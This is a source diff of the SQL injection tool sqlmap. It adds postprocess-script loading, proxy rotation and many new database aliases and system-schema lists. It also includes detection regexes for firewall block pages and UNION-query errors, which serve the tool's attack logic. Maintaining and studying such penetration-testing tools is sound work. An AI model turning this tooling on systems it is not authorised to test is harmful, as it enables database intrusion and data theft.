-    regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join([alias for alias in SUPPORTED_DBMS])), conf.dbms, re.I)
+    regex = re.search(r"%s ([\d\.]+)" % ("(%s)" % "|".join(SUPPORTED_DBMS)), conf.dbms, re.I)
 
     if regex:
         conf.dbms = regex.group(1)
@@ -813,7 +857,7 @@ def _setTamperingFunctions():
 
 def _setPreprocessFunctions():
     """
-    Loads preprocess functions from given script(s)
+    Loads preprocess function(s) from given script(s)
     """
 
     if conf.preprocess:
@@ -858,17 +902,95 @@ def _setPreprocessFunctions():
                 raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
 
             for name, function in inspect.getmembers(module, inspect.isfunction):
-                if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
+                try:
+                    if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)):
+                        found = True
+
+                        kb.preprocessFunctions.append(function)
+                        function.__name__ = module.__name__
+
+                        break
+                except ValueError:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4357
+                    pass
+
+            if not found:
+                errMsg = "missing function 'preprocess(req)' "
+                errMsg += "in preprocess script '%s'" % script
+                raise SqlmapGenericException(errMsg)
+            else:
+                try:
+                    function(_urllib.request.Request("http://localhost"))
+                except:
+                    handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
+                    os.close(handle)
+
+                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(req):\n    pass\n")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+
+                    errMsg = "function 'preprocess(req)' "
+                    errMsg += "in preprocess script '%s' " % script
+                    errMsg += "appears to be invalid "
+                    errMsg += "(Note: find template script at '%s')" % filename
+                    raise SqlmapGenericException(errMsg)
+
+def _setPostprocessFunctions():
+    """
+    Loads postprocess function(s) from given script(s)
+    """
+
+    if conf.postprocess:
+        for script in re.split(PARAMETER_SPLITTING_REGEX, conf.postprocess):
+            found = False
+            function = None
+
+            script = safeFilepathEncode(script.strip())
+
+            try:
+                if not script:
+                    continue
+
+                if not os.path.exists(script):
+                    errMsg = "postprocess script '%s' does not exist" % script
+                    raise SqlmapFilePathException(errMsg)
+
+                elif not script.endswith(".py"):
+                    errMsg = "postprocess script '%s' should have an extension '.py'" % script
+                    raise SqlmapSyntaxException(errMsg)
+            except UnicodeDecodeError:
+                errMsg = "invalid character provided in option '--postprocess'"
+                raise SqlmapSyntaxException(errMsg)
+
+            dirname, filename = os.path.split(script)
+            dirname = os.path.abspath(dirname)
+
+            infoMsg = "loading postprocess module '%s'" % filename[:-3]
+            logger.info(infoMsg)
+
+            if not os.path.exists(os.path.join(dirname, "__init__.py")):
+                errMsg = "make sure that there is an empty file '__init__.py' "
+                errMsg += "inside of postprocess scripts directory '%s'" % dirname
+                raise SqlmapGenericException(errMsg)
+
+            if dirname not in sys.path:
+                sys.path.insert(0, dirname)
+
+            try:
+                module = __import__(safeFilepathEncode(filename[:-3]))
+            except Exception as ex:
+                raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
+
+            for name, function in inspect.getmembers(module, inspect.isfunction):
+                if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
                     found = True
 
-                    kb.preprocessFunctions.append(function)
+                    kb.postprocessFunctions.append(function)
                     function.__name__ = module.__name__
 
                     break
 
             if not found:
-                errMsg = "missing function 'preprocess(page, headers=None, code=None)' "
-                errMsg += "in preprocess script '%s'" % script
+                errMsg = "missing function 'postprocess(page, headers=None, code=None)' "
+                errMsg += "in postprocess script '%s'" % script
                 raise SqlmapGenericException(errMsg)
             else:
                 try:
@@ -877,11 +999,11 @@ def _setPreprocessFunctions():
                     handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
                     os.close(handle)
 
-                    open(filename, "w+b").write("#!/usr/bin/env\n\ndef preprocess(page, headers=None, code=None):\n    return page, headers, code\n")
-                    open(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
+                    openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n    return page, headers, code\n")
+                    openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
 
-                    errMsg = "function 'preprocess(page, headers=None, code=None)' "
-                    errMsg += "in preprocess script '%s' " % script
+                    errMsg = "function 'postprocess(page, headers=None, code=None)' "
+                    errMsg += "in postprocess script '%s' " % script
                     errMsg += "should return a tuple '(page, headers, code)' "
                     errMsg += "(Note: find template script at '%s')" % filename
                     raise SqlmapGenericException(errMsg)
@@ -970,16 +1092,13 @@ def _setHTTPHandlers():
     """
 
     with kb.locks.handlers:
-        if conf.proxyList is not None:
-            if not conf.proxyList:
-                errMsg = "list of usable proxies is exhausted"
-                raise SqlmapNoneDataException(errMsg)
-
+        if conf.proxyList:
             conf.proxy = conf.proxyList[0]
-            conf.proxyList = conf.proxyList[1:]
+            conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
 
-            infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
-            logger.info(infoMsg)
+            if len(conf.proxyList) > 1:
+                infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
+                logger.info(infoMsg)
 
         elif not conf.proxy:
             if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:
@@ -1139,7 +1258,7 @@ def _setSafeVisit():
                 conf.safeUrl = "http://%s" % conf.safeUrl
 
     if (conf.safeFreq or 0) <= 0:
-        errMsg = "please provide a valid value (>0) for safe frequency (--safe-freq) while using safe visit features"
+        errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
         raise SqlmapSyntaxException(errMsg)
 
 def _setPrefixSuffix():
@@ -1441,8 +1560,8 @@ def _createHomeDirectories():
     if conf.get("purge"):
         return
 
-    for context in "output", "history":
-        directory = paths["SQLMAP_%s_PATH" % context.upper()]
+    for context in ("output", "history"):
+        directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()]   # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
         try:
             if not os.path.isdir(directory):
                 os.makedirs(directory)
@@ -1544,7 +1663,8 @@ def _cleanupOptions():
 
     for key, value in conf.items():
         if value and any(key.endswith(_) for _ in ("Path", "File", "Dir")):
-            conf[key] = safeExpandUser(value)
+            if isinstance(value, str):
+                conf[key] = safeExpandUser(value)
 
     if conf.testParameter:
         conf.testParameter = urldecode(conf.testParameter)
@@ -1571,7 +1691,7 @@ def _cleanupOptions():
 
     if conf.base64Parameter:
         conf.base64Parameter = urldecode(conf.base64Parameter)
-        conf.base64Parameter = conf.base64Parameter.replace(" ", "")
+        conf.base64Parameter = conf.base64Parameter.strip()
         conf.base64Parameter = re.split(PARAMETER_SPLITTING_REGEX, conf.base64Parameter)
     else:
         conf.base64Parameter = []
@@ -1729,8 +1849,7 @@ def _cleanupOptions():
             conf.__setitem__(_, True)
 
     if conf.noCast:
-        for _ in list(DUMP_REPLACEMENTS.keys()):
-            del DUMP_REPLACEMENTS[_]
+        DUMP_REPLACEMENTS.clear()
 
     if conf.dumpFormat:
         conf.dumpFormat = conf.dumpFormat.upper()
@@ -1754,11 +1873,20 @@ def _cleanupOptions():
         if not regex:
             conf.exclude = re.sub(r"\s*,\s*", ',', conf.exclude)
             conf.exclude = r"\A%s\Z" % '|'.join(re.escape(_) for _ in conf.exclude.split(','))
+        else:
+            conf.exclude = re.sub(r"(\w+)\$", r"\g<1>\$", conf.exclude)
 
     if conf.binaryFields:
         conf.binaryFields = conf.binaryFields.replace(" ", "")
         conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields)
 
+    envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES)
+    if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None:
+        debugMsg = "using environment proxy '%s'" % envProxy
+        logger.debug(debugMsg)
+
+        conf.proxy = envProxy
+
     if any((conf.proxy, conf.proxyFile, conf.tor)):
         conf.disablePrecon = True
 
@@ -1841,6 +1969,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.arch = None
     kb.authHeader = None
     kb.bannerFp = AttribDict()
+    kb.base64Originals = {}
     kb.binaryField = False
     kb.browserVerification = None
 
@@ -1852,6 +1981,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.cache.content = {}
     kb.cache.encoding = {}
     kb.cache.alphaBoundaries = None
+    kb.cache.hashRegex = None
     kb.cache.intBoundaries = None
     kb.cache.parsedDbms = {}
     kb.cache.regex = {}
@@ -1901,12 +2031,15 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.errorIsNone = True
     kb.falsePositives = []
     kb.fileReadMode = False
+    kb.fingerprinted = False
     kb.followSitemapRecursion = None
     kb.forcedDbms = None
     kb.forcePartialUnion = False
     kb.forceThreads = None
     kb.forceWhere = None
+    kb.forkNote = None
     kb.futileUnion = None
+    kb.fuzzUnionTest = None
     kb.heavilyDynamic = False
     kb.headersFile = None
     kb.headersFp = {}
@@ -1925,12 +2058,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.identifiedWafs = set()
     kb.injection = InjectionDict()
     kb.injections = []
+    kb.jsonAggMode = False
     kb.laggingChecked = False
     kb.lastParserStatus = None
-    kb.lastCtrlCTime = None
 
     kb.locks = AttribDict()
-    for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "log", "socket", "redirect", "request", "value"):
+    for _ in ("cache", "connError", "count", "handlers", "hint", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"):
         kb.locks[_] = threading.Lock()
 
     kb.matchRatio = None
@@ -1938,6 +2071,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.mergeCookies = None
     kb.multipleCtrlC = False
     kb.negativeLogic = False
+    kb.nchar = True
     kb.nullConnection = None
     kb.oldMsf = None
     kb.orderByColumns = None
@@ -1980,7 +2114,6 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.responseTimeMode = None
     kb.responseTimePayload = None
     kb.resumeValues = True
-    kb.rowXmlMode = False
     kb.safeCharEncode = False
     kb.safeReq = AttribDict()
     kb.secondReq = None
@@ -1989,10 +2122,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.skipSeqMatcher = False
     kb.smokeMode = False
     kb.reduceTests = None
-    kb.tlsSNI = {}
+    kb.sslSuccess = False
     kb.stickyDBMS = False
     kb.storeHashesChoice = None
     kb.suppressResumeInfo = False
+    kb.tableExistsChoice = None
     kb.tableFrom = None
     kb.technique = None
     kb.tempDir = None
@@ -2002,10 +2136,11 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.testType = None
     kb.threadContinue = True
     kb.threadException = False
-    kb.tableExistsChoice = None
+    kb.tlsSNI = {}
     kb.uChar = NULL
     kb.udfFail = False
     kb.unionDuplicates = False
+    kb.unionTemplate = None
     kb.webSocketRecvCount = None
     kb.wizardMode = False
     kb.xpCmdshellAvailable = False
@@ -2014,8 +2149,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
         kb.checkSitemap = None
         kb.headerPaths = {}
         kb.keywords = set(getFileItems(paths.SQL_KEYWORDS))
+        kb.lastCtrlCTime = None
         kb.normalizeCrawlingChoice = None
         kb.passwordMgr = None
+        kb.postprocessFunctions = []
         kb.preprocessFunctions = []
         kb.skipVulnHost = None
         kb.storeCrawlingChoice = None
@@ -2042,11 +2179,11 @@ def _useWizardInterface():
         message = "Please enter full target URL (-u): "
         conf.url = readInput(message, default=None)
 
-    message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
+    message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
     conf.data = readInput(message, default=None)
 
     if not (any('=' in _ for _ in (conf.url, conf.data)) or '*' in conf.url):
-        warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else conf.method) or HTTPMETHOD.POST)
+        warnMsg = "no GET and/or %s parameter(s) found for testing " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
         warnMsg += "(e.g. GET parameter 'id' in 'http://www.site.com/vuln.php?id=1'). "
         if not conf.crawlDepth and not conf.forms:
             warnMsg += "Will search for forms"
@@ -2602,7 +2739,7 @@ def _basicOptionValidation():
         errMsg = "value for option '--union-char' must be an alpha-numeric value (e.g. 1)"
         raise SqlmapSyntaxException(errMsg)
 
-    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.liveTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
+    if conf.hashFile and any((conf.direct, conf.url, conf.logFile, conf.bulkFile, conf.googleDork, conf.configFile, conf.requestFile, conf.updateAll, conf.smokeTest, conf.wizard, conf.dependencies, conf.purge, conf.listTampers)):
         errMsg = "option '--crack' should be used as a standalone"
         raise SqlmapSyntaxException(errMsg)
 
@@ -2662,6 +2799,7 @@ def init():
     _listTamperingFunctions()
     _setTamperingFunctions()
     _setPreprocessFunctions()
+    _setPostprocessFunctions()
     _setTrafficOutputFP()
     _setupHTTPCollector()
     _setHttpChunked()
@@ -2669,7 +2807,7 @@ def init():
 
     parseTargetDirect()
 
-    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.liveTest)):
+    if any((conf.url, conf.logFile, conf.bulkFile, conf.requestFile, conf.googleDork, conf.stdinPipe)):
         _setHostname()
         _setHTTPTimeout()
         _setHTTPExtraHeaders()
@@ -2683,6 +2821,7 @@ def init():
         _setSocketPreConnect()
         _setSafeVisit()
         _doSearch()
+        _setStdinPipeTargets()
         _setBulkMultipleTargets()
         _checkTor()
         _setCrawler()

lib/core/optiondict.py

@@ -27,6 +27,7 @@ optDict = {
         "paramDel": "string",
         "cookie": "string",
         "cookieDel": "string",
+        "liveCookies": "string",
         "loadCookies": "string",
         "dropSetCookie": "boolean",
         "agent": "string",
@@ -61,6 +62,7 @@ optDict = {
         "csrfToken": "string",
         "csrfUrl": "string",
         "csrfMethod": "string",
+        "csrfRetries": "integer",
         "forceSSL": "boolean",
         "chunked": "boolean",
         "hpp": "boolean",
@@ -201,6 +203,8 @@ optDict = {
         "trafficFile": "string",
         "answers": "string",
         "batch": "boolean",
+        "base64Parameter": "string",
+        "base64Safe": "boolean",
         "binaryFields": "string",
         "charset": "string",
         "checkInternet": "boolean",
@@ -219,10 +223,12 @@ optDict = {
         "hexConvert": "boolean",
         "outputDir": "string",
         "parseErrors": "boolean",
+        "postprocess": "string",
         "preprocess": "string",
         "repair": "boolean",
         "saveConfig": "string",
         "scope": "string",
+        "skipHeuristics": "boolean",
         "skipWaf": "boolean",
         "testFilter": "string",
         "testSkip": "string",
@@ -252,9 +258,6 @@ optDict = {
         "forceDns": "boolean",
         "murphyRate": "integer",
         "smokeTest": "boolean",
-        "liveTest": "boolean",
-        "stopFail": "boolean",
-        "runCase": "string",
     },
 
     "API": {

lib/core/patch.py

@@ -6,6 +6,8 @@ See the file 'LICENSE' for copying permission
 """
 
 import codecs
+import os
+import random
 
 import lib.controller.checks
 import lib.core.common
@@ -25,13 +27,18 @@ from lib.core.common import isListLike
 from lib.core.common import readInput
 from lib.core.common import shellExec
 from lib.core.common import singleTimeWarnMessage
+from lib.core.compat import xrange
 from lib.core.convert import stdoutEncode
+from lib.core.data import conf
 from lib.core.option import _setHTTPHandlers
 from lib.core.option import setVerbosity
 from lib.core.settings import IS_WIN
 from lib.request.templates import getPageTemplate
+from thirdparty import six
 from thirdparty.six.moves import http_client as _http_client
 
+_rand = 0
+
 def dirtyPatches():
     """
     Place for "dirty" Python related patches
@@ -40,6 +47,18 @@ def dirtyPatches():
     # accept overly long result lines (e.g. SQLi results in HTTP header responses)
     _http_client._MAXLINE = 1 * 1024 * 1024
 
+    # prevent double chunked encoding in case of sqlmap chunking (Note: Python3 does it automatically if 'Content-length' is missing)
+    if six.PY3:
+        if not hasattr(_http_client.HTTPConnection, "__send_output"):
+            _http_client.HTTPConnection.__send_output = _http_client.HTTPConnection._send_output
+
+        def _send_output(self, *args, **kwargs):
+            if conf.get("chunked") and "encode_chunked" in kwargs:
+                kwargs["encode_chunked"] = False
+            self.__send_output(*args, **kwargs)
+
+        _http_client.HTTPConnection._send_output = _send_output
+
     # add support for inet_pton() on Windows OS
     if IS_WIN:
         from thirdparty.wininetpton import win_inet_pton
@@ -58,6 +77,15 @@ def dirtyPatches():
     # to prevent too much "guessing" in case of binary data retrieval
     thirdparty.chardet.universaldetector.MINIMUM_THRESHOLD = 0.90
 
+    # https://github.com/sqlmapproject/sqlmap/issues/4314
+    try:
+        os.urandom(1)
+    except NotImplemented:
+        if six.PY3:
+            os.urandom = lambda size: bytes(random.randint(0, 255) for _ in range(size))
+        else:
+            os.urandom = lambda size: "".join(chr(random.randint(0, 255)) for _ in xrange(size))
+
 def resolveCrossReferences():
     """
     Place for cross-reference resolution
@@ -87,3 +115,35 @@ def pympTempLeakPatch(tempDir):
         multiprocessing.util.get_temp_dir = lambda: tempDir
     except:
         pass
+
+def unisonRandom():
+    """
+    Unifying random generated data across different Python versions
+    """
+
+    def _lcg():
+        global _rand
+        a = 1140671485
+        c = 128201163
+        m = 2 ** 24
+        _rand = (a * _rand + c) % m
+        return _rand
+
+    def _randint(a, b):
+        _ = a + (_lcg() % (b - a + 1))
+        return _
+
+    def _choice(seq):
+        return seq[_randint(0, len(seq) - 1)]
+
+    def _sample(population, k):
+        return [_choice(population) for _ in xrange(k)]
+
+    def _seed(seed):
+        global _rand
+        _rand = seed
+
+    random.choice = _choice
+    random.randint = _randint
+    random.sample = _sample
+    random.seed = _seed

lib/core/session.py

@@ -25,7 +25,7 @@ def setDbms(dbms):
 
     hashDBWrite(HASHDB_KEYS.DBMS, dbms)
 
-    _ = "(%s)" % ("|".join([alias for alias in SUPPORTED_DBMS]))
+    _ = "(%s)" % ('|'.join(SUPPORTED_DBMS))
     _ = re.search(r"\A%s( |\Z)" % _, dbms, re.I)
 
     if _:

lib/core/settings.py

@@ -18,7 +18,7 @@ from lib.core.enums import OS
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.4"
+VERSION = "1.4.12.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -52,6 +52,9 @@ IPS_WAF_CHECK_RATIO = 0.5
 # Timeout used in heuristic check for WAF/IPS protected targets
 IPS_WAF_CHECK_TIMEOUT = 10
 
+# Timeout used in checking for existence of live-cookies file
+LIVE_COOKIES_TIMEOUT = 120
+
 # Lower and upper values for match ratio in case of stable page
 LOWER_RATIO_BOUND = 0.02
 UPPER_RATIO_BOUND = 0.98
@@ -60,20 +63,24 @@ UPPER_RATIO_BOUND = 0.98
 PARAMETER_AMP_MARKER = "__AMP__"
 PARAMETER_SEMICOLON_MARKER = "__SEMICOLON__"
 BOUNDARY_BACKSLASH_MARKER = "__BACKSLASH__"
+PARAMETER_PERCENTAGE_MARKER = "__PERCENTAGE__"
 PARTIAL_VALUE_MARKER = "__PARTIAL_VALUE__"
 PARTIAL_HEX_VALUE_MARKER = "__PARTIAL_HEX_VALUE__"
 URI_QUESTION_MARKER = "__QUESTION_MARK__"
 ASTERISK_MARKER = "__ASTERISK_MARK__"
 REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
+BOUNDED_BASE64_MARKER = "__BOUNDED_BASE64_MARK__"
 BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
 SAFE_VARIABLE_MARKER = "__SAFE__"
 SAFE_HEX_MARKER = "__SAFE_HEX__"
+DOLLAR_MARKER = "__DOLLAR__"
 
 RANDOM_INTEGER_MARKER = "[RANDINT]"
 RANDOM_STRING_MARKER = "[RANDSTR]"
 SLEEP_TIME_MARKER = "[SLEEPTIME]"
 INFERENCE_MARKER = "[INFERENCE]"
 SINGLE_QUOTE_MARKER = "[SINGLE_QUOTE]"
+GENERIC_SQL_COMMENT_MARKER = "[GENERIC_SQL_COMMENT]"
 
 PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
@@ -91,6 +98,12 @@ PERMISSION_DENIED_REGEX = r"(?P<result>(command|permission|access)\s*(was|is)?\s
 # Regular expression used in recognition of generic protection mechanisms
 GENERIC_PROTECTION_REGEX = r"(?i)\b(rejected|blocked|protection|incident|denied|detected|dangerous|firewall)\b"
 
+# Regular expression used to detect errors in fuzz(y) UNION test
+FUZZ_UNION_ERROR_REGEX = r"(?i)data\s?type|comparable|compatible|conversion|converting|failed|error"
+
+# Upper threshold for starting the fuzz(y) UNION test
+FUZZ_UNION_MAX_COLUMNS = 10
+
 # Regular expression used for recognition of generic maximum connection messages
 MAX_CONNECTIONS_REGEX = r"\bmax.+?\bconnection"
 
@@ -241,7 +254,7 @@ PYVERSION = sys.version.split()[0]
 IS_WIN = PLATFORM == "nt"
 
 # Check if running in terminal
-IS_TTY = os.isatty(sys.stdout.fileno())
+IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno())
 
 # DBMS system databases
 MSSQL_SYSTEM_DBS = ("Northwind", "master", "model", "msdb", "pubs", "tempdb", "Resource", "ReportServer", "ReportServerTempDB")
@@ -255,35 +268,70 @@ MAXDB_SYSTEM_DBS = ("SYSINFO", "DOMAIN")
 SYBASE_SYSTEM_DBS = ("master", "model", "sybsystemdb", "sybsystemprocs")
 DB2_SYSTEM_DBS = ("NULLID", "SQLJ", "SYSCAT", "SYSFUN", "SYSIBM", "SYSIBMADM", "SYSIBMINTERNAL", "SYSIBMTS", "SYSPROC", "SYSPUBLIC", "SYSSTAT", "SYSTOOLS")
 HSQLDB_SYSTEM_DBS = ("INFORMATION_SCHEMA", "SYSTEM_LOB")
-H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",)
+H2_SYSTEM_DBS = ("INFORMATION_SCHEMA",) + ("IGNITE", "ignite-sys-cache")
 INFORMIX_SYSTEM_DBS = ("sysmaster", "sysutils", "sysuser", "sysadmin")
+MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler")
+DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT")
+VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",)
+MCKOI_SYSTEM_DBS = ("",)
+PRESTO_SYSTEM_DBS = ("information_schema",)
+ALTIBASE_SYSTEM_DBS = ("SYSTEM_",)
+MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",)
+CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys")
+CUBRID_SYSTEM_DBS = ("DBA",)
+CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS")
+EXTREMEDB_SYSTEM_DBS = ("",)
+FRONTBASE_SYSTEM_DBS = ("DEFINITION_SCHEMA", "INFORMATION_SCHEMA")
 
+# Note: (<regular>) + (<forks>)
 MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms")
-MYSQL_ALIASES = ("mysql", "my", "mariadb", "maria")
-PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg")
+MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona")
+PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "redshift", "greenplum", "yellowbrick", "enterprisedb", "aurora")
 ORACLE_ALIASES = ("oracle", "orcl", "ora", "or")
 SQLITE_ALIASES = ("sqlite", "sqlite3")
 ACCESS_ALIASES = ("msaccess", "access", "jet", "microsoft access")
 FIREBIRD_ALIASES = ("firebird", "mozilla firebird", "interbase", "ibase", "fb")
-MAXDB_ALIASES = ("maxdb", "sap maxdb", "sap db")
+MAXDB_ALIASES = ("max", "maxdb", "sap maxdb", "sap db")
 SYBASE_ALIASES = ("sybase", "sybase sql server")
 DB2_ALIASES = ("db2", "ibm db2", "ibmdb2")
 HSQLDB_ALIASES = ("hsql", "hsqldb", "hs", "hypersql")
 H2_ALIASES = ("h2",)
 INFORMIX_ALIASES = ("informix", "ibm informix", "ibminformix")
+MONETDB_ALIASES = ("monet", "monetdb",)
+DERBY_ALIASES = ("derby", "apache derby",)
+VERTICA_ALIASES = ("vertica",)
+MCKOI_ALIASES = ("mckoi",)
+PRESTO_ALIASES = ("presto",)
+ALTIBASE_ALIASES = ("altibase",)
+MIMERSQL_ALIASES = ("mimersql", "mimer")
+CRATEDB_ALIASES = ("cratedb", "crate")
+CUBRID_ALIASES = ("cubrid",)
+CACHE_ALIASES = ("intersystems cache", "cachedb", "cache")
+EXTREMEDB_ALIASES = ("extremedb", "extreme")
+FRONTBASE_ALIASES = ("frontbase",)
 
 DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_"))
 
-SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES
+SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES)
 SUPPORTED_OS = ("linux", "windows")
 
-DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES))
+DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES))
 
 USER_AGENT_ALIASES = ("ua", "useragent", "user-agent")
 REFERER_ALIASES = ("ref", "referer", "referrer")
 HOST_ALIASES = ("host",)
 
+# DBMSes with upper case identifiers
+UPPER_CASE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY, DBMS.ALTIBASE))
+
+# Default schemas to use (when unable to enumerate)
 H2_DEFAULT_SCHEMA = HSQLDB_DEFAULT_SCHEMA = "PUBLIC"
+VERTICA_DEFAULT_SCHEMA = "public"
+MCKOI_DEFAULT_SCHEMA = "APP"
+CACHE_DEFAULT_SCHEMA = "SQLUser"
+
+# DBMSes where OFFSET mechanism starts from 1
+PLUS_ONE_DBMSES = set((DBMS.ORACLE, DBMS.DB2, DBMS.ALTIBASE, DBMS.MSSQL, DBMS.CACHE))
 
 # Names that can't be used to name files on Windows OS
